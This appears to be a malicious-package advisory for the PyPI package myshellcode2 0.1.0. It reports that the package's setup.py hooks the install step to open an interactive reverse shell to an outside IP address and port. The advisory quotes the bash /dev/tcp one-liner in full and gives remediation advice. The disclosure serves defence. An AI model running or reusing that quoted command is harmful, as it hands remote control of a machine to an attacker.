pypi · Malicious package advisory
Malwaremyshellcode2
GHSA-7hhg-gwj9-j2hr
Malicious code in myshellcode2 (PyPI)
Details
**Severity:** Critical **Affected versions:** `= 0.1.0` Malicious package. `setup.py` overrides the setuptools `install` command and, after the normal install, runs `bash -c 'bash -i >& /dev/tcp/114.116.119.253/7777 <&1'`, giving whoever listens on 114.116.119.253:7777 an interactive shell on the installing host. Seen in a sandboxed install. Same one-liner and host as myshellcode (MAL-2024-5391). Version 0.1.0 was published on 2023-05-15 and has since been removed from PyPI. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9055b778bb452a37c1f7eadf3b459d61481b4f97/osv/malicious/pypi/myshellcode2/MAL-2026-20755.json)) **References:** - https://github.com/ossf/malicious-packages/blob/9055b778bb452a37c1f7eadf3b459d61481b4f97/osv/malicious/pypi/myshellcode2/MAL-2026-20755.json - https://wormsign.io/portfolio/myshellcode2 - https://github.com/advisories/GHSA-7hhg-gwj9-j2hr
Compromised versions (1)
- = 0.1.0
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.